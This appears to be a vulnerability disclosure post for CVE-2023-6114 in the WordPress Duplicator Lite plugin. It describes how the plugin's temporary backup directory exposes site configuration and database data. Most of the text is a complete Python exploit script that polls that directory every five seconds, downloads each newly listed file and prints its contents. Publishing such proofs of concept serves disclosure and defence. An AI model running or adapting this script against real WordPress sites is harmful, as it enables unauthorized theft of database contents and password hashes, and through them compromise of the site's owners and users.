# CVE-Link : https://research.cleantalk.org/cve-2023-6114-duplicator-poc-exploit/A
severe vulnerability has been discovered in the directory
*/wordpress/wp-content/backups-dup-lite/tmp/*. This flaw not only
exposes extensive information about the site, including its
configuration, directories, and files, but more critically, it
provides unauthorized access to sensitive data within the database and
all data inside. Exploiting this vulnerability poses an imminent
threat, leading to potential *brute force attacks on password hashes
and, subsequently, the compromise of the entire system*.*
POC*:

1) It is necessary that either the administrator or auto-backup works
automatically at the scheduled time

2) Exploit will send file search requests every 5 seconds

3) I attack the site with this vulnerability using an exploit

Exploit sends a request to the server every 5 seconds along the path
“*http://your_site/wordpress/wp-content/backups-dup-lite/tmp/
<http://your_site/wordpress/wp-content/backups-dup-lite/tmp/>”* and if
it finds something in the index of, it instantly parses all the data
and displays it on the screen

Exploit (python3):

import requests
from bs4 import BeautifulSoup
import re
import time

url = "http://127.0.0.1/wordpress/wp-content/backups-dup-lite/tmp/"
processed_files = set()

def get_file_names(url):
response = requests.get(url)

if response.status_code == 200 and len(response.text) > 0:
soup = BeautifulSoup(response.text, 'html.parser')
links = soup.find_all('a')

file_names = []
for link in links:
file_name = link.get('href')
if file_name != "../" and not file_name.startswith("?"):
file_names.append(file_name)

return file_names
return []

def get_file_content(url, file_name):
file_url = url + file_name


if re.search(r'\.zip(?:\.|$)', file_name, re.IGNORECASE):
print(f"Ignoring file: {file_name}")
return None

file_response = requests.get(file_url)

if file_response.status_code == 200:
return file_response.text
return None

while True:
file_names = get_file_names(url)

if file_names:
print("File names on the page:")
for file_name in file_names:
if file_name not in processed_files:
print(file_name)
file_content = get_file_content(url, file_name)

if file_content is not None:
print("File content:")
print(file_content)
processed_files.add(file_name)

time.sleep(5)
